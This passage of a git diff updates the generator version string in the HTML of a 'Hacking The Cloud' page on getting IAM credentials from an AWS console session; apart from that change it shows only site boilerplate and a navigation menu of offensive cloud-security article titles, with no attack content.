32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
diff --git a/aws/post_exploitation/get_iam_creds_from_console_session/index.html b/aws/post_exploitation/get_iam_creds_from_console_session/index.html
index 15e63d819..fc5d61d3c 100644
--- a/aws/post_exploitation/get_iam_creds_from_console_session/index.html
+++ b/aws/post_exploitation/get_iam_creds_from_console_session/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Convert access to the AWS Console into IAM credentials."><link href=https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ rel=canonical><link href=../download_tools_and_exfiltrate_data_with_aws_cli/ rel=prev><link href=../iam_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Get IAM Credentials from a Console Session - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Get IAM Credentials from a Console Session - Hacking The Cloud"><meta property=og:description content="Convert access to the AWS Console into IAM credentials."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Get IAM Credentials from a Console Session - Hacking The Cloud"><meta property=twitter:description content="Convert access to the AWS Console into IAM credentials."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Convert access to the AWS Console into IAM credentials."><link href=https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ rel=canonical><link href=../download_tools_and_exfiltrate_data_with_aws_cli/ rel=prev><link href=../iam_persistence/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Get IAM Credentials from a Console Session - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Get IAM Credentials from a Console Session - Hacking The Cloud"><meta property=og:description content="Convert access to the AWS Console into IAM credentials."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Get IAM Credentials from a Console Session - Hacking The Cloud"><meta property=twitter:description content="Convert access to the AWS Console into IAM credentials."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#get-iam-credentials-from-a-console-session class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a 